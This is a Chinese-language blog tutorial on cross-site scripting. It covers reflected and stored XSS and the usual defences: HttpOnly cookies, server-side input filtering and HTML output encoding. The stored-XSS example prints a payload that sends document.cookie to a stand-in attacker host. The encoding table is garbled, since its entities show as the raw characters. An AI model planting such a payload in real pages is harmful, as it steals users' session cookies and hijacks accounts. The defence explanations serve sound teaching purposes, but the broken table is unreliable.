web安全-XSS攻击及防御
XSS攻击的原理
xss表示Cross Site Scripting(跨站脚本攻击),它与SQL注入攻击类似,SQL注入攻击中以SQL语句作为用户输入,从而达到查询/修改/删除数据的目的,而在xss攻击中,通过插入恶意脚本,实现对用户游览器的控制。
xss攻击主要用户攻击者盗取用户的cookie,由于sessionId是存储在cookie中的,当攻击者获取了用户的cookie,则攻击者可以在session的生命周期内,达到获取被攻击用户的用户权限。
xss攻击可以分成两种类型:
- 非持久型攻击
- 持久型攻击
1.非持久型攻击
顾名思义,非持久型攻击是一次性的,仅对当前访问产生影响。非持久型攻击要求用户访问一个被攻击者篡改的url地址,用户访问时,被植入的攻击脚本被用户浏览器执行,以达到攻击的目的。
假设有以下页面:
<?php
$name = $_GET['name'];
echo "Welcome $name<br>";
echo "<a href="http://www.cnblogs.com/chenqf/">Click to Download</a>";
?>
该页面显示两条信息
- 从URI获取 'name' 参数,并在页面显示
- 显示跳转到一条URL的链接
这时,当攻击者给出以下URL链接:
index.php?name=guest<script>alert('attacked')</script>
当用户点击该链接时,将产生以下html代码,带'attacked'的告警提示框弹出:
Welcome guest
<script>
alert('attacked');//获取用户cookie,并将cookie通过网络传输至攻击者,则攻击者获取了用户权限
</script>
<br>
<a href='http://www.cnblogs.com/chenqf/'>Click to Download</a>
当用户打开该地址后,会弹出“attacked”,攻击者可以在此植入javascript代码,以达到操作用户浏览器的目的
2.持久型攻击
持久型攻击是存储式XSS漏洞,由于其攻击代码已经存储到服务器上或者数据库中,所以受害者是很多人。
例子如下:A网站为论坛网站,攻击者可以在论坛中发表文章,该文章内包含攻击代码,并保存。
<script>window.open(“www.attacked.com?param=”+document.cookie)</script>
这时,任意用户看到了攻击者发布的文章,并点击进入查看文章,此时之前被植入的攻击代码被执行,将用户的cookie信息传递给攻击者。
XSS攻击的防御
1.HttpOnly防止劫取Cookie
HttpOnly最早由微软提出,至今已经成为一个标准。浏览器将禁止页面的Javascript访问带有HttpOnly属性的Cookie。
严格的书,HttpOnly并非为了对抗XSS攻击,HttpOnly解决的是XSS后的Cookie劫持攻击。
某些时候,应用可能需要javascript访问某几项cookie,这种cookie可以不设置为HttpOnly标记,而仅把HttpOnly标记给用于认证的关键Cookie。
2.输入检查 XSS Filter
常见的XSS攻击都需要攻击者构造一些特殊字符,这些字符可能是正常用户不会用到的,所以输入检查就有存在的必要了。
输入检查的逻辑,必须放在服务端代码实现。如果只是在客户端使用javascript进行输入检查,很容易被攻击者绕过。
目前的普遍做法是,在服务端代码和客户端代码中实现同样的代码检查逻辑。
互联网上有很多开源的XSS Filter的实现。
3.输出检查
在变量输入到html页面时,对html代码进行HtmlEncode。
为了对抗XSS,在HTMLEncode中要求至少转换以下字符:
& –> &
< –> <
> –> >
” –> "
‘ –> '
/ –> /
参考:《白帽子讲Web安全》
web安全-XSS攻击及防御的更多相关文章
- web渗透—xss攻击如何防御
1.基于特征的防御 XSS漏洞和著名的SQL注入漏洞一样,都是利用了Web页面的编写不完善,所以每一个漏洞所利用和针对的弱点都不尽相同.这就给XSS漏洞防御带来了困难:不可能以单一特征来概括所有XSS ...
- XSS攻击的防御
XSS攻击的防御 XSS 攻击是什么 XSS 又称 CSS,全称 Cross SiteScript,跨站脚本攻击,是 Web 程序中常见的漏洞,XSS 属于被动式且用于客户端的攻击方式,所以容易被忽略 ...
- web安全-xss攻击
web安全问题 xss攻击 1.html标签 html内容的转义 escapeHtml str = str.replace(/&/g,'&'); str = str.replac ...
- Web 安全之 XSS 攻击与防御
前言 黑客,相信大家对这一名词并不陌生,黑客们往往会利用 Web 应用程序的漏洞来攻击咱们的系统.开放式 Web 应用程序安全项目(OWASP, Open Web Application Securi ...
- Web 攻击之 XSS 攻击及防御策略
XSS 攻击 介绍 XSS 攻击,从最初 netscap 推出 javascript 时,就已经察觉到了危险. 我们常常需要面临跨域的解决方案,其实同源策略是保护我们的网站.糟糕的跨域会带来危险,虽然 ...
- MVC WEB安全——XSS攻击防御
XSS(跨站脚本攻击) 描述: 原理:攻击者往Web页面里插入恶意代码,当用户浏览该页之时,嵌入其中Web里面的代码会被执行,从而达到攻击用户的特殊目的. 类别: 1)被动注入(Passive Inj ...
- 前端XSS攻击和防御
xss跨站脚本攻击(Cross Site Scripting),是一种经常出现在web应用中的计算机安全漏洞,指攻击者在网页中嵌入客户端脚本(例如JavaScript), 当用户浏览此网页时,脚本就会 ...
- XSS攻击及防御
XSS又称CSS,全称Cross SiteScript,跨站脚本攻击,是Web程序中常见的漏洞,XSS属于被动式且用于客户端的攻击方式,所以容易被忽略其危害性.其原理是攻击者向有XSS漏洞的网站中输入 ...
- XSS攻击及防御(转)
add by zhj: 略有修改.另外还有一篇文章值得参考,使用 PHP 构建的 Web 应用如何避免 XSS 攻击,总得来说防御XSS的方法是客户端和服务端都 要对输入做检查,如果只有客户端做检查, ...
随机推荐
- eclipse-整合struts和spring-maven
maven配置文件 <!-- servlet --> <dependency> <groupId>javax.servlet</groupId> < ...
- Python和shell中Base64编码使用那些事
做开发第一个接触的编码方式就是Base64,当时是用url来传输一些参数,传输的两端会用Base64来编码和解码,保证数据不被url转义破坏. 下面是 维基百科 Base64 中的介绍,其实自己实现起 ...
- Demo1
<!DOCTYPE html> <html lang="zh"> <header> <meta charset="utf-8&q ...
- AngularJs 指令directive之require
controller的用法分为两种情形,一种是require自定义的controller,由于自定义controller中的属性方法都由自己编 写,使用起来比较简单:另一种方法则是require An ...
- oracle to_date 函数
update pamsodt0p10 set cursysdate = to_date('2014-12-29 00:00:00','yyyy-mm-dd hh24:mi:ss') where cu ...
- Oracle删除重复行
Oracle删除重复行 分类: ORACLE2010-12-12 17:10 423人阅读 评论(0) 收藏 举报 oracletabledeleteintegerinsert.net 查询及删除重复 ...
- Django之AppConfig源码学习
class AppConfig(object) 这个基类描述了一个Django应用以及它的配置信息. 属性: name:django应用的完整python路径,eg.'django.contrib.a ...
- python---购物车---更新
购物车程序更新: 更新商家入口,实现以下功能: 1. 商家能够修改商品价格: 2. 商家能够下线商品: 3. 商家能够增加商品: 4. 商品信息存在文件中 # -*- coding:utf-8 -*- ...
- PYTHON练习题 二. 使用random中的randint函数随机生成一个1~100之间的预设整数让用户键盘输入所猜的数。
Python 练习 标签: Python Python练习题 Python知识点 二. 使用random中的randint函数随机生成一个1~100之间的预设整数让用户键盘输入所猜的数,如果大于预设的 ...
- 关于react router 4 的小实践
详细代码栗子:https://github.com/wayaha/react-dom-CY clone然后 npm install npm start 分割线 1.这个项目使用create-react ...